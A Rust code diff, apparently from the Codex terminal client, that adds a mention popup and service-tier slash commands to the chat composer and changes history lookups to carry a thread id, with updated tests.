/// Integrate an asynchronous response to an on-demand history lookup.
@@ -1590,7 +1621,11 @@ impl ChatComposer {
/// Integrate results from an asynchronous file search.
pub(crate) fn on_file_search_result(&mut self, query: String, matches: Vec<FileMatch>) {
// Only apply if user is still editing a token starting with `query`.
let current_opt = Self::current_at_token(&self.textarea);
let current_opt = if self.mentions_v2_enabled {
self.current_mentions_v2_token()
} else {
Self::current_at_token(&self.textarea)
};
let Some(current_token) = current_opt else {
return;
};
@@ -1599,8 +1634,14 @@ impl ChatComposer {
return;
}
if let ActivePopup::File(popup) = &mut self.active_popup {
popup.set_matches(&query, matches);
match &mut self.active_popup {
ActivePopup::File(popup) => {
popup.set_matches(&query, matches);
}
ActivePopup::MentionV2(popup) => {
popup.set_file_matches(&query, matches);
}
_ => {}
}
}
@@ -1687,6 +1728,7 @@ impl ChatComposer {
ActivePopup::Command(_) => self.handle_key_event_with_slash_popup(key_event),
ActivePopup::File(_) => self.handle_key_event_with_file_popup(key_event),
ActivePopup::Skill(_) => self.handle_key_event_with_skill_popup(key_event),
ActivePopup::MentionV2(_) => self.handle_key_event_with_mentions_v2_popup(key_event),
ActivePopup::None => self.handle_key_event_without_popup(key_event),
};
self.reset_vim_mode_after_successful_dispatch(&result.0);
@@ -1756,24 +1798,22 @@ impl ChatComposer {
// before applying completion.
let first_line = self.textarea.text().lines().next().unwrap_or("");
popup.on_composer_text_change(first_line.to_string());
let selected_cmd = popup.selected_item().map(|sel| {
let CommandItem::Builtin(cmd) = sel;
cmd
});
if let Some(cmd) = selected_cmd {
if cmd == SlashCommand::Skills {
self.stage_selected_slash_command_history(cmd);
if let Some(selected_cmd) = popup.selected_item() {
let selected_command_text = format!("/{}", selected_cmd.command());
if let CommandItem::Builtin(cmd) = selected_cmd
&& cmd == SlashCommand::Skills
{
self.stage_selected_slash_command_history(&CommandItem::Builtin(cmd));
self.textarea.set_text_clearing_elements("");
self.is_bash_mode = false;
return (InputResult::Command(cmd), true);
}
let selected_command_text = format!("/{}", cmd.command());
let starts_with_cmd =
first_line.trim_start().starts_with(&selected_command_text);
if !starts_with_cmd {
self.textarea
.set_text_clearing_elements(&format!("/{} ", cmd.command()));
.set_text_clearing_elements(&format!("{selected_command_text} "));
if !self.textarea.text().is_empty() {
self.textarea.set_cursor(self.textarea.text().len());
}
@@ -1794,17 +1834,13 @@ impl ChatComposer {
// while the slash-command popup is active.
let first_line = self.textarea.text().lines().next().unwrap_or("");
popup.on_composer_text_change(first_line.to_string());
let selected_cmd = popup.selected_item().map(|sel| {
let CommandItem::Builtin(cmd) = sel;
cmd
});
if let Some(cmd) = selected_cmd {
let starts_with_cmd = first_line
.trim_start()
.starts_with(&format!("/{}", cmd.command()));
if let Some(selected_cmd) = popup.selected_item() {
let selected_command_text = format!("/{}", selected_cmd.command());
let starts_with_cmd =
first_line.trim_start().starts_with(&selected_command_text);
if !starts_with_cmd {
self.textarea
.set_text_clearing_elements(&format!("/{} ", cmd.command()));
.set_text_clearing_elements(&format!("{selected_command_text} "));
self.is_bash_mode = false;
}
if !self.textarea.text().is_empty() {
@@ -1819,11 +1855,18 @@ impl ChatComposer {
..
} => {
if let Some(sel) = popup.selected_item() {
let CommandItem::Builtin(cmd) = sel;
self.stage_selected_slash_command_history(cmd);
self.stage_selected_slash_command_history(&sel);
self.textarea.set_text_clearing_elements("");
self.is_bash_mode = false;
return (InputResult::Command(cmd), true);
return (
match sel {
CommandItem::Builtin(cmd) => InputResult::Command(cmd),
CommandItem::ServiceTier(command) => {
InputResult::ServiceTierCommand(command)
}
},
true,
);
}
// Fallback to default newline handling if no command selected.
self.handle_key_event_without_popup(key_event)
@@ -2127,6 +2170,103 @@ impl ChatComposer {
result
}
fn handle_key_event_with_mentions_v2_popup(
&mut self,
key_event: KeyEvent,
) -> (InputResult, bool) {
if self.handle_shortcut_overlay_key(&key_event) {
return (InputResult::None, true);
}
self.footer_mode = reset_mode_after_activity(self.footer_mode);
let ActivePopup::MentionV2(popup) = &mut self.active_popup else {
unreachable!();
};
let mut selected: Option<MentionV2Selection> = None;
let mut close_popup = false;
let result = match key_event {
KeyEvent {
code: KeyCode::Up, ..
}
| KeyEvent {
code: KeyCode::Char('p'),
modifiers: KeyModifiers::CONTROL,
..
} => {
popup.move_up();
(InputResult::None, true)
}
KeyEvent {
code: KeyCode::Down,
..
}
| KeyEvent {
code: KeyCode::Char('n'),
modifiers: KeyModifiers::CONTROL,
..
} => {
popup.move_down();
(InputResult::None, true)
}
KeyEvent {
code: KeyCode::Left,
modifiers: KeyModifiers::NONE,
..
} => {
popup.previous_search_mode();
(InputResult::None, true)
}
KeyEvent {
code: KeyCode::Right,
modifiers: KeyModifiers::NONE,
..
} => {
popup.next_search_mode();
(InputResult::None, true)
}
KeyEvent {
code: KeyCode::Esc, ..
} => {
if let Some(tok) = self.current_mentions_v2_token() {
self.dismissed_mention_popup_token = Some(tok);
}
self.active_popup = ActivePopup::None;
(InputResult::None, true)
}
KeyEvent {
code: KeyCode::Tab, ..
}
| KeyEvent {
code: KeyCode::Enter,
modifiers: KeyModifiers::NONE,
..
} => {
selected = popup.selected();
close_popup = true;
(InputResult::None, true)
}
input => self.handle_input_basic(input),
};
if close_popup {
if let Some(selected) = selected {
match selected {
MentionV2Selection::File(path) => {
self.insert_selected_file_path(path.to_string_lossy().as_ref());
}
MentionV2Selection::Tool { insert_text, path } => {
self.insert_selected_mention(&insert_text, path.as_deref());
}
}
}
self.active_popup = ActivePopup::None;
}
result
}
fn is_image_path(path: &str) -> bool {
let lower = path.to_ascii_lowercase();
lower.ends_with(".png")
@@ -2136,6 +2276,45 @@ impl ChatComposer {
|| lower.ends_with(".webp")
}
fn insert_selected_file_path(&mut self, selected_path: &str) {
if Self::is_image_path(selected_path) {
let path_buf = PathBuf::from(selected_path);
match image::image_dimensions(&path_buf) {
Ok((width, height)) => {
tracing::debug!("selected image dimensions={}x{}", width, height);
let cursor_offset = self.textarea.cursor();
let text = self.textarea.text();
let safe_cursor = Self::clamp_to_char_boundary(text, cursor_offset);
let before_cursor = &text[..safe_cursor];
let after_cursor = &text[safe_cursor..];
let start_idx = before_cursor
.char_indices()
.rfind(|(_, c)| c.is_whitespace())
.map(|(idx, c)| idx + c.len_utf8())
.unwrap_or(0);
let end_rel_idx = after_cursor
.char_indices()
.find(|(_, c)| c.is_whitespace())
.map(|(idx, _)| idx)
.unwrap_or(after_cursor.len());
let end_idx = safe_cursor + end_rel_idx;
self.textarea.replace_range(start_idx..end_idx, "");
self.textarea.set_cursor(start_idx);
self.attach_image(path_buf);
self.textarea.insert_str(" ");
}
Err(err) => {
tracing::trace!("image dimensions lookup failed: {err}");
self.insert_selected_path(selected_path);
}
}
} else {
self.insert_selected_path(selected_path);
}
}
fn trim_text_elements(
original: &str,
trimmed: &str,
@@ -2391,6 +2570,13 @@ impl ChatComposer {
Self::current_prefixed_token(textarea, '@', /*allow_empty*/ false)
}
fn current_mentions_v2_token(&self) -> Option<String> {
if !self.mentions_v2_enabled {
return None;
}
Self::current_prefixed_token(&self.textarea, '@', /*allow_empty*/ true)
}
fn current_mention_token(&self) -> Option<String> {
if !self.mentions_enabled() {
return None;
@@ -2618,10 +2804,13 @@ impl ChatComposer {
{
let treat_as_plain_text = input_starts_with_space || name.contains('/');
if !treat_as_plain_text {
let is_builtin =
slash_commands::find_builtin_command(name, self.builtin_command_flags())
.is_some();
if !is_builtin {
let is_known = find_slash_command(
name,
self.builtin_command_flags(),
&self.service_tier_commands,
)
.is_some();
if !is_known {
let message = format!(
r#"Unrecognized command '/{name}'. Type "/" for a list of supported commands."#
);
@@ -2699,6 +2888,7 @@ impl ChatComposer {
InputResult::Submitted { .. }
| InputResult::Queued { .. }
| InputResult::Command(_)
| InputResult::ServiceTierCommand(_)
| InputResult::CommandWithArgs(_, _, _)
) {
self.textarea.enter_vim_normal_mode();
@@ -2839,21 +3029,28 @@ impl ChatComposer {
if !rest.is_empty() {
return None;
}
let cmd = slash_commands::find_builtin_command(name, self.builtin_command_flags())?;
if cmd.supports_inline_args()
let command = find_slash_command(
name,
self.builtin_command_flags(),
&self.service_tier_commands,
)?;
if command.supports_inline_args()
&& parse_slash_name(text).is_some_and(|(_, full_rest, _)| !full_rest.is_empty())
{
return None;
}
if self.reject_slash_command_if_unavailable(cmd) {
self.stage_slash_command_history();
if self.reject_slash_command_if_unavailable(&command) {
self.stage_slash_command_history(&command);
self.record_pending_slash_command_history();
return Some(InputResult::None);
}
self.stage_slash_command_history();
self.stage_slash_command_history(&command);
self.textarea.set_text_clearing_elements("");
self.is_bash_mode = false;
Some(InputResult::Command(cmd))
Some(match command {
SlashCommandItem::Builtin(cmd) => InputResult::Command(cmd),
SlashCommandItem::ServiceTier(command) => InputResult::ServiceTierCommand(command),
})
}
/// Check if the input is a slash command with args (e.g., /review args) and dispatch it.
@@ -2872,23 +3069,30 @@ impl ChatComposer {
return None;
}
let cmd = slash_commands::find_builtin_command(name, self.builtin_command_flags())?;
let command = find_slash_command(
name,
self.builtin_command_flags(),
&self.service_tier_commands,
)?;
if !cmd.supports_inline_args() {
if !command.supports_inline_args() {
return None;
}
if self.reject_slash_command_if_unavailable(cmd) {
self.stage_slash_command_history();
if self.reject_slash_command_if_unavailable(&command) {
self.stage_slash_command_history(&command);
self.record_pending_slash_command_history();
return Some(InputResult::None);
}
self.stage_slash_command_history();
self.stage_slash_command_history(&command);
let mut args_elements =
Self::slash_command_args_elements(rest, rest_offset, &self.textarea.text_elements());
let trimmed_rest = rest.trim();
args_elements = Self::trim_text_elements(rest, trimmed_rest, args_elements);
let SlashCommandItem::Builtin(cmd) = command else {
return None;
};
Some(InputResult::CommandWithArgs(
cmd,
trimmed_rest.to_string(),
@@ -2922,13 +3126,13 @@ impl ChatComposer {
Some((trimmed_rest.to_string(), args_elements))
}
fn reject_slash_command_if_unavailable(&self, cmd: SlashCommand) -> bool {
if !self.is_task_running || cmd.available_during_task() {
fn reject_slash_command_if_unavailable(&self, command: &SlashCommandItem) -> bool {
if !self.is_task_running || command.available_during_task() {
return false;
}
let message = format!(
"'/{}' is disabled while a task is in progress.",
cmd.command()
command.command()
);
self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new(
history_cell::new_error_event(message),
@@ -2959,7 +3163,10 @@ impl ChatComposer {
/// Staging snapshots the rich composer state before the textarea is cleared. `ChatWidget`
/// commits the staged entry after dispatch so command recall follows the submitted text, not
/// the command outcome.
fn stage_slash_command_history(&mut self) {
fn stage_slash_command_history(&mut self, command: &SlashCommandItem) {
if matches!(command, SlashCommandItem::Builtin(SlashCommand::Clear)) {
return;
}
self.stage_slash_command_history_text(self.textarea.text().trim().to_string());
}
@@ -2967,8 +3174,11 @@ impl ChatComposer {
///
/// Popup filtering text can be partial, so recording the selected command avoids recalling
/// `/di` after the user actually accepted `/diff`.
fn stage_selected_slash_command_history(&mut self, cmd: SlashCommand) {
self.stage_slash_command_history_text(format!("/{}", cmd.command()));
fn stage_selected_slash_command_history(&mut self, command: &CommandItem) {
if matches!(command, CommandItem::Builtin(SlashCommand::Clear)) {
return;
}
self.stage_slash_command_history_text(format!("/{}", command.command()));
}
/// Store the provided command text and the current composer adornments in the pending slot.
@@ -3599,7 +3809,12 @@ impl ChatComposer {
self.active_popup = ActivePopup::None;
return;
}
let file_token = Self::current_at_token(&self.textarea);
let mentions_v2_token = self.current_mentions_v2_token();
let file_token = if self.mentions_v2_enabled {
None
} else {
Self::current_at_token(&self.textarea)
};
let browsing_history = self
.history
.should_handle_navigation(&self.current_text(), self.history_navigation_cursor());
@@ -3619,6 +3834,7 @@ impl ChatComposer {
let allow_command_popup = self.slash_commands_enabled()
&& !self.is_bash_mode
&& file_token.is_none()
&& mentions_v2_token.is_none()
&& mention_token.is_none();
self.sync_command_popup(allow_command_popup);
@@ -3633,6 +3849,11 @@ impl ChatComposer {
return;
}
if let Some(token) = mentions_v2_token {
self.sync_mentions_v2_popup(token);
return;
}
if let Some(token) = mention_token {
if self.current_file_query.is_some() {
self.app_event_tx
@@ -3657,7 +3878,7 @@ impl ChatComposer {
self.dismissed_file_popup_token = None;
if matches!(
self.active_popup,
ActivePopup::File(_) | ActivePopup::Skill(_)
ActivePopup::File(_) | ActivePopup::Skill(_) | ActivePopup::MentionV2(_)
) {
self.active_popup = ActivePopup::None;
}
@@ -3726,7 +3947,12 @@ impl ChatComposer {
}
fn is_known_slash_name(&self, name: &str) -> bool {
slash_commands::find_builtin_command(name, self.builtin_command_flags()).is_some()
find_slash_command(
name,
self.builtin_command_flags(),
&self.service_tier_commands,
)
.is_some()
}
/// If the cursor is currently within a slash command on the first line,
@@ -3768,7 +3994,11 @@ impl ChatComposer {
return rest_after_name.is_empty();
}
slash_commands::has_builtin_prefix(name, self.builtin_command_flags())
has_slash_command_prefix(
name,
self.builtin_command_flags(),
&self.service_tier_commands,
)
}
/// Synchronize `self.command_popup` with the current text in the
@@ -3814,23 +4044,26 @@ impl ChatComposer {
let collaboration_modes_enabled = self.collaboration_modes_enabled;
let connectors_enabled = self.connectors_enabled;
let plugins_command_enabled = self.plugins_command_enabled;
let fast_command_enabled = self.fast_command_enabled;
let service_tier_commands_enabled = self.service_tier_commands_enabled;
let goal_command_enabled = self.goal_command_enabled;
let personality_command_enabled = self.personality_command_enabled;
let realtime_conversation_enabled = self.realtime_conversation_enabled;
let audio_device_selection_enabled = self.audio_device_selection_enabled;
let mut command_popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled,
connectors_enabled,
plugins_command_enabled,
fast_command_enabled,
goal_command_enabled,
personality_command_enabled,
realtime_conversation_enabled,
audio_device_selection_enabled,
windows_degraded_sandbox_active: self.windows_degraded_sandbox_active,
side_conversation_active: self.side_conversation_active,
});
let mut command_popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled,
connectors_enabled,
plugins_command_enabled,
service_tier_commands_enabled,
goal_command_enabled,
personality_command_enabled,
realtime_conversation_enabled,
audio_device_selection_enabled,
windows_degraded_sandbox_active: self.windows_degraded_sandbox_active,
side_conversation_active: self.side_conversation_active,
},
self.service_tier_commands.clone(),
);
command_popup.on_composer_text_change(first_line.to_string());
self.active_popup = ActivePopup::Command(command_popup);
}
@@ -3905,6 +4138,41 @@ impl ChatComposer {
}
}
fn sync_mentions_v2_popup(&mut self, query: String) {
if self.dismissed_mention_popup_token.as_ref() == Some(&query) {
return;
}
if query.is_empty() {
self.app_event_tx
.send(AppEvent::StartFileSearch(String::new()));
self.current_file_query = None;
} else {
self.app_event_tx
.send(AppEvent::StartFileSearch(query.clone()));
self.current_file_query = Some(query.clone());
}
let candidates = super::mentions_v2::build_search_catalog(
self.skills.as_deref(),
self.plugins.as_deref(),
);
match &mut self.active_popup {
ActivePopup::MentionV2(popup) => {
popup.set_query(&query);
popup.set_candidates(candidates);
}
_ => {
let mut popup = MentionV2Popup::new(candidates);
popup.set_query(&query);
self.active_popup = ActivePopup::MentionV2(popup);
}
}
self.dismissed_mention_popup_token = None;
}
fn mention_items(&self) -> Vec<MentionItem> {
let mut mentions = Vec::new();
if let Some(skills) = self.skills.as_ref() {
@@ -4236,6 +4504,7 @@ impl Renderable for ChatComposer {
ActivePopup::Command(c) => c.calculate_required_height(width),
ActivePopup::File(c) => c.calculate_required_height(),
ActivePopup::Skill(c) => c.calculate_required_height(width),
ActivePopup::MentionV2(c) => c.calculate_required_height(width),
}
}
@@ -4258,6 +4527,9 @@ impl ChatComposer {
ActivePopup::Skill(popup) => {
popup.render_ref(popup_rect, buf);
}
ActivePopup::MentionV2(popup) => {
popup.render_ref(popup_rect, buf);
}
ActivePopup::None => {
let footer_props = self.footer_props();
let show_cycle_hint =
@@ -7536,6 +7808,9 @@ mod tests {
Some(CommandItem::Builtin(cmd)) => {
assert_eq!(cmd.command(), "model")
}
Some(CommandItem::ServiceTier(command)) => {
panic!("expected model command, got service tier {command:?}")
}
None => panic!("no selected command for '/mo'"),
},
_ => panic!("slash popup not active after typing '/mo'"),
@@ -7589,12 +7864,47 @@ mod tests {
Some(CommandItem::Builtin(cmd)) => {
assert_eq!(cmd.command(), "resume")
}
Some(CommandItem::ServiceTier(command)) => {
panic!("expected resume command, got service tier {command:?}")
}
None => panic!("no selected command for '/res'"),
},
_ => panic!("slash popup not active after typing '/res'"),
}
}
#[test]
fn service_tier_slash_command_dispatches_from_catalog_name() {
let (tx, _rx) = unbounded_channel::<AppEvent>();
let sender = AppEventSender::new(tx);
let mut composer = ChatComposer::new(
/*has_input_focus*/ true,
sender,
/*enhanced_keys_supported*/ false,
"Ask Codex to do anything".to_string(),
/*disable_paste_burst*/ false,
);
composer.set_service_tier_commands_enabled(/*enabled*/ true);
composer.set_service_tier_commands(vec![ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "Fastest inference with increased plan usage".to_string(),
}]);
type_chars_humanlike(&mut composer, &['/', 'f', 'a', 's', 't']);
let (result, _needs_redraw) =
composer.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
assert_eq!(
result,
InputResult::ServiceTierCommand(ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "Fastest inference with increased plan usage".to_string(),
})
);
}
fn flush_after_paste_burst(composer: &mut ChatComposer) -> bool {
std::thread::sleep(PasteBurst::recommended_active_flush_delay());
composer.flush_paste_burst_if_due()
@@ -7652,6 +7962,9 @@ mod tests {
InputResult::CommandWithArgs(_, _, _) => {
panic!("expected command dispatch without args for '/init'")
}
InputResult::ServiceTierCommand(command) => {
panic!("expected init command, got service tier {command:?}")
}
InputResult::Submitted { text, .. } => {
panic!("expected command dispatch, but composer submitted literal text: {text}")
}
@@ -7821,7 +8134,7 @@ mod tests {
assert_queued_slash("/compact");
assert_queued_slash("/review check regressions");
assert_queued_slash("/fast on");
assert_queued_slash("/fast");
assert_queued_slash("/does-not-exist");
}
@@ -8098,6 +8411,9 @@ mod tests {
InputResult::CommandWithArgs(_, _, _) => {
panic!("expected command dispatch without args for '/diff'")
}
InputResult::ServiceTierCommand(command) => {
panic!("expected diff command, got service tier {command:?}")
}
InputResult::Submitted { text, .. } => {
panic!("expected command dispatch after Tab completion, got literal submit: {text}")
}
@@ -8292,6 +8608,9 @@ mod tests {
InputResult::CommandWithArgs(_, _, _) => {
panic!("expected command dispatch without args for '/mention'")
}
InputResult::ServiceTierCommand(command) => {
panic!("expected mention command, got service tier {command:?}")
}
InputResult::Submitted { text, .. } => {
panic!("expected command dispatch, but composer submitted literal text: {text}")
}
@@ -15,11 +15,11 @@ use std::collections::HashMap;
use std::collections::HashSet;
use std::path::PathBuf;
use crate::app_command::AppCommand as Op;
use crate::app_event::AppEvent;
use crate::app_event_sender::AppEventSender;
use crate::bottom_pane::MentionBinding;
use crate::mention_codec::decode_history_mentions;
use codex_protocol::ThreadId;
use codex_protocol::user_input::TextElement;
/// A composer history entry that can rehydrate draft state.
@@ -105,11 +105,13 @@ impl HistoryEntry {
/// the chat composer. This struct is intentionally decoupled from the
/// rendering widget so the logic remains isolated and easier to test.
pub(crate) struct ChatComposerHistory {
/// Identifier of the history log as reported by `SessionConfiguredEvent`.
history_log_id: Option<u64>,
/// Thread that owns persistent lookup responses for this metadata snapshot.
thread_id: Option<ThreadId>,
/// Identifier of the persistent history log used for stale lookup rejection.
persistent_log_id: Option<u64>,
/// Number of entries already present in the persistent cross-session
/// history file when the session started.
history_entry_count: usize,
persistent_entry_count: usize,
/// Messages submitted by the user *during this UI session* (newest at END).
/// Local entries retain full draft state (text elements, image paths, pending pastes, remote image URLs).
@@ -216,8 +218,9 @@ impl ChatComposerHistory {
/// metadata-free lets the composer reset and reuse this helper across session lifecycles.
pub fn new() -> Self {
Self {
history_log_id: None,
history_entry_count: 0,
thread_id: None,
persistent_log_id: None,
persistent_entry_count: 0,
local_history: Vec::new(),
fetched_history: HashMap::new(),
history_cursor: None,
@@ -231,9 +234,10 @@ impl ChatComposerHistory {
/// This clears fetched entries, local entries, navigation cursors, and active search state
/// because offsets only make sense within one history log snapshot. Reusing old offsets after a
/// log-id change would allow a stale async response to hydrate the wrong prompt.
pub fn set_metadata(&mut self, log_id: u64, entry_count: usize) {
self.history_log_id = Some(log_id);
self.history_entry_count = entry_count;
pub fn set_metadata(&mut self, thread_id: ThreadId, log_id: u64, entry_count: usize) {
self.thread_id = Some(thread_id);
self.persistent_log_id = Some(log_id);
self.persistent_entry_count = entry_count;
self.fetched_history.clear();
self.local_history.clear();
self.history_cursor = None;
@@ -298,7 +302,7 @@ impl ChatComposerHistory {
/// history recall. If callers moved the cursor into the middle of a recalled entry and still
/// forced navigation, users would lose normal vertical movement within the draft.
pub fn should_handle_navigation(&self, text: &str, cursor: usize) -> bool {
if self.history_entry_count == 0 && self.local_history.is_empty() {
if self.persistent_entry_count == 0 && self.local_history.is_empty() {
return false;
}
@@ -320,11 +324,11 @@ impl ChatComposerHistory {
/// Handles Up by moving toward older entries in the combined history space.
///
/// Local entries can be returned immediately, while missing persistent entries emit a
/// `GetHistoryEntryRequest` and return `None` until the response arrives. Calling this while
/// `LookupMessageHistoryEntry` and return `None` until the response arrives. Calling this while
/// Ctrl+R search is active intentionally exits search traversal.
pub fn navigate_up(&mut self, app_event_tx: &AppEventSender) -> Option<HistoryEntry> {
self.search = None;
let total_entries = self.history_entry_count + self.local_history.len();
let total_entries = self.persistent_entry_count + self.local_history.len();
if total_entries == 0 {
return None;
}
@@ -346,7 +350,7 @@ impl ChatComposerHistory {
/// search state and resumes normal shell-style browsing.
pub fn navigate_down(&mut self, app_event_tx: &AppEventSender) -> Option<HistoryEntry> {
self.search = None;
let total_entries = self.history_entry_count + self.local_history.len();
let total_entries = self.persistent_entry_count + self.local_history.len();
if total_entries == 0 {
return None;
}
@@ -385,7 +389,7 @@ impl ChatComposerHistory {
entry: Option<String>,
app_event_tx: &AppEventSender,
) -> HistoryEntryResponse {
if self.history_log_id != Some(log_id) {
if self.persistent_log_id != Some(log_id) {
return HistoryEntryResponse::Ignored;
}
@@ -517,7 +521,7 @@ impl ChatComposerHistory {
// ---------------------------------------------------------------------
fn total_entries(&self) -> usize {
self.history_entry_count + self.local_history.len()
self.persistent_entry_count + self.local_history.len()
}
fn search_start_offset(
@@ -588,8 +592,8 @@ impl ChatComposerHistory {
if self.search_matches(&entry) && self.search_result_is_unique(&entry) {
return self.search_match(offset, entry);
}
} else if offset < self.history_entry_count
&& let Some(log_id) = self.history_log_id
} else if offset < self.persistent_entry_count
&& let (Some(thread_id), Some(log_id)) = (self.thread_id, self.persistent_log_id)
{
if let Some(search) = self.search.as_mut() {
search.awaiting = Some(PendingHistorySearch {
@@ -598,7 +602,11 @@ impl ChatComposerHistory {
boundary_if_exhausted,
});
}
app_event_tx.send(AppEvent::CodexOp(Op::history_lookup(offset, log_id)));
app_event_tx.send(AppEvent::LookupMessageHistoryEntry {
thread_id,
offset,
log_id,
});
return HistorySearchResult::Pending;
}
@@ -618,9 +626,9 @@ impl ChatComposerHistory {
}
fn entry_at_cached_offset(&self, offset: usize) -> Option<HistoryEntry> {
if offset >= self.history_entry_count {
if offset >= self.persistent_entry_count {
self.local_history
.get(offset - self.history_entry_count)
.get(offset - self.persistent_entry_count)
.cloned()
} else {
self.fetched_history.get(&offset).cloned()
@@ -702,11 +710,11 @@ impl ChatComposerHistory {
global_idx: usize,
app_event_tx: &AppEventSender,
) -> Option<HistoryEntry> {
if global_idx >= self.history_entry_count {
if global_idx >= self.persistent_entry_count {
// Local entry.
if let Some(entry) = self
.local_history
.get(global_idx - self.history_entry_count)
.get(global_idx - self.persistent_entry_count)
.cloned()
{
self.last_history_text = Some(entry.text.clone());
@@ -715,8 +723,12 @@ impl ChatComposerHistory {
} else if let Some(entry) = self.fetched_history.get(&global_idx).cloned() {
self.last_history_text = Some(entry.text.clone());
return Some(entry);
} else if let Some(log_id) = self.history_log_id {
app_event_tx.send(AppEvent::CodexOp(Op::history_lookup(global_idx, log_id)));
} else if let (Some(thread_id), Some(log_id)) = (self.thread_id, self.persistent_log_id) {
app_event_tx.send(AppEvent::LookupMessageHistoryEntry {
thread_id,
offset: global_idx,
log_id,
});
}
None
}
@@ -794,6 +806,11 @@ mod tests {
use pretty_assertions::assert_eq;
use tokio::sync::mpsc::unbounded_channel;
fn test_thread_id() -> ThreadId {
ThreadId::from_string("67e55044-10b1-426f-9247-bb680e5fe0c8")
.expect("thread id should parse")
}
#[test]
fn duplicate_submissions_are_not_recorded() {
let mut history = ChatComposerHistory::new();
@@ -830,7 +847,8 @@ mod tests {
let mut history = ChatComposerHistory::new();
// Pretend there are 3 persistent entries.
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
let thread_id = test_thread_id();
history.set_metadata(thread_id, /*log_id*/ 1, /*entry_count*/ 3);
// First Up should request offset 2 (latest) and await async data.
assert!(history.should_handle_navigation("", /*cursor*/ 0));
@@ -838,16 +856,17 @@ mod tests {
// Verify that a history lookup request was sent.
let event = rx.try_recv().expect("expected AppEvent to be sent");
let AppEvent::CodexOp(op) = event else {
let AppEvent::LookupMessageHistoryEntry {
thread_id: response_thread_id,
offset,
log_id,
} = event
else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 2,
},
op
);
assert_eq!(response_thread_id, thread_id);
assert_eq!(offset, 2);
assert_eq!(log_id, 1);
// Inject the async response.
assert_eq!(
@@ -865,16 +884,17 @@ mod tests {
// Verify second lookup request for offset 1.
let event2 = rx.try_recv().expect("expected second event");
let AppEvent::CodexOp(op) = event2 else {
let AppEvent::LookupMessageHistoryEntry {
thread_id: response_thread_id,
offset,
log_id,
} = event2
else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 1,
},
op
);
assert_eq!(response_thread_id, thread_id);
assert_eq!(offset, 1);
assert_eq!(log_id, 1);
assert_eq!(
HistoryEntryResponse::Found(HistoryEntry::new("older".to_string())),
@@ -1017,7 +1037,7 @@ mod tests {
let tx = AppEventSender::new(tx);
let mut history = ChatComposerHistory::new();
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
history.set_metadata(test_thread_id(), /*log_id*/ 1, /*entry_count*/ 3);
assert_eq!(
HistorySearchResult::Pending,
@@ -1090,7 +1110,8 @@ mod tests {
let tx = AppEventSender::new(tx);
let mut history = ChatComposerHistory::new();
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
let thread_id = test_thread_id();
history.set_metadata(thread_id, /*log_id*/ 1, /*entry_count*/ 3);
assert_eq!(
HistorySearchResult::Pending,
@@ -1101,16 +1122,17 @@ mod tests {
&tx
)
);
let AppEvent::CodexOp(op) = rx.try_recv().expect("expected latest lookup") else {
let AppEvent::LookupMessageHistoryEntry {
thread_id: response_thread_id,
offset,
log_id,
} = rx.try_recv().expect("expected latest lookup")
else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 2,
},
op
);
assert_eq!(response_thread_id, thread_id);
assert_eq!(offset, 2);
assert_eq!(log_id, 1);
assert_eq!(
HistoryEntryResponse::Search(HistorySearchResult::Pending),
@@ -1121,16 +1143,17 @@ mod tests {
&tx
)
);
let AppEvent::CodexOp(op) = rx.try_recv().expect("expected next lookup") else {
let AppEvent::LookupMessageHistoryEntry {
thread_id: response_thread_id,
offset,
log_id,
} = rx.try_recv().expect("expected next lookup")
else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 1,
},
op
);
assert_eq!(response_thread_id, thread_id);
assert_eq!(offset, 1);
assert_eq!(log_id, 1);
assert_eq!(
HistoryEntryResponse::Search(HistorySearchResult::Found(HistoryEntry::new(
@@ -1151,7 +1174,7 @@ mod tests {
let tx = AppEventSender::new(tx);
let mut history = ChatComposerHistory::new();
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 4);
history.set_metadata(test_thread_id(), /*log_id*/ 1, /*entry_count*/ 4);
assert_eq!(
HistorySearchResult::Pending,
@@ -1270,7 +1293,7 @@ mod tests {
let tx = AppEventSender::new(tx);
let mut history = ChatComposerHistory::new();
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
history.set_metadata(test_thread_id(), /*log_id*/ 1, /*entry_count*/ 3);
history
.fetched_history
.insert(1, HistoryEntry::new("command2".to_string()));
+213 -109
View File
@@ -9,7 +9,10 @@ use super::selection_popup_common::ColumnWidthMode;
use super::selection_popup_common::GenericDisplayRow;
use super::selection_popup_common::measure_rows_height_with_col_width_mode;
use super::selection_popup_common::render_rows_with_col_width_mode;
use super::slash_commands;
use super::slash_commands::BuiltinCommandFlags;
use super::slash_commands::ServiceTierCommand;
use super::slash_commands::SlashCommandItem;
use super::slash_commands::commands_for_input;
use crate::render::Insets;
use crate::render::RectExt;
use crate::slash_command::SlashCommand;
@@ -23,14 +26,15 @@ const COMMAND_COLUMN_WIDTH: ColumnWidthConfig = ColumnWidthConfig::new(
);
/// A selectable item in the popup.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) enum CommandItem {
Builtin(SlashCommand),
ServiceTier(ServiceTierCommand),
}
pub(crate) struct CommandPopup {
command_filter: String,
builtins: Vec<(&'static str, SlashCommand)>,
commands: Vec<CommandItem>,
state: ScrollState,
}
@@ -39,7 +43,7 @@ pub(crate) struct CommandPopupFlags {
pub(crate) collaboration_modes_enabled: bool,
pub(crate) connectors_enabled: bool,
pub(crate) plugins_command_enabled: bool,
pub(crate) fast_command_enabled: bool,
pub(crate) service_tier_commands_enabled: bool,
pub(crate) goal_command_enabled: bool,
pub(crate) personality_command_enabled: bool,
pub(crate) realtime_conversation_enabled: bool,
